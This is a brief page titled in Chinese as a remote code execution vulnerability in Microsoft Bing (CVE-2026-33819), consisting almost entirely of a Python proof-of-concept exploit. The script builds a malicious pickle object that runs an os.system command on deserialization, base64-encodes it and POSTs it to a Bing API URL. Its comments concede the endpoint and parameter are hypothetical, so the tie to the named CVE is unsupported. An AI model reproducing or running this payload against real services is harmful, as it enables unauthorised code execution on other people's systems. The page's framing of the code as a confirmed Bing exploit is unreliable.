CVE-2026-33819 Microsoft Bing远程代码执行漏洞

import requests import base64 import pickle import sys # Proof of Concept for CVE-2026-33819 # This script demonstrates how an untrusted deserialization # vulnerability can be triggered by sending a malicious payload. class MaliciousPayload: """ This class represents a gadget that executes a command when deserialized. In a real scenario, this would use specific library gadgets available in the target environment. """ def __reduce__(self): # Execute a simple command (e.g., creating a file) # Note: Adjust command based on target OS (Windows/Linux) return (eval, ("__import__('os').system('echo CVE-2026-33819 > pwn.txt')",)) def generate_payload(): # Serialize the malicious object data = pickle.dumps(MaliciousPayload()) # Encode to base64 to safely transport over HTTP/JSON return base64.b64encode(data).decode() def send_exploit(target_url): payload_data = generate_payload() headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-33819-Scanner" } # Construct the JSON body. The parameter name 'data' is hypothetical. json_body = { "serialized_data": payload_data } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=json_body, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check target for command execution.") else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint TARGET = "https://api.bing.microsoft.com/vulnerable-endpoint" send_exploit(TARGET)